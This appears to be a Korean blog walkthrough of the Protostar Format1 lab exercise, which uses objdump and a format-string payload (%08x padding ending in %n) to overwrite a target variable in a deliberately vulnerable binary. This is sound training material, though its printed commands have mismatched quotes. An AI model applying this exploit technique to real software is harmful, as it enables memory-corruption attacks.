Protostar Format1 [ FSB / objdump ]

2017. 6. 13. 12:58SystemHacking/Protostar




Protostar Format1번 문제입니다

포맷스트링버그를 이용해서 target변수의 값을 변질시키는 문제입니다

[ 그림1 ]


$objdump -t format1 | grep target    // targer변수의 주소를 알아냈습니다


[ 그림2 ]


포맷스트링버그를 이용한 공격코드를 만들었습니다

./format `python -c print "\x41\x41\x41\x41"+"\x38\x96\x08\x04"+"%08x"*127+"%08x"'`

127번째 %08x 에서 "\x41\x41\x41\x41" 의 메모리에 접근할 수 있습니다 

따라서 마지막의 %08x 스트링을 %08n 으로만 바꿔주면 "\x04089638"메모리에 값이 입력되어져 변질시킬 수 있습니다

./format `python -c print "\x41\x41\x41\x41"+"\x38\x96\x08\x04"+"%08x"*127+"%08n"'`


[ 그림3 ]





'SystemHacking > Protostar' 카테고리의 다른 글

Protostar Format3 [ FSB / objdump ]  (0) 2017.06.13
Protostar Format2 [ FSB / objdump ]  (0) 2017.06.13
Protostar Format0 [ FSB ]  (0) 2017.06.13
Protostar Stack7 [ROP]  (0) 2017.06.12
Protostar Stack6 [Channing RTL]  (0) 2017.06.12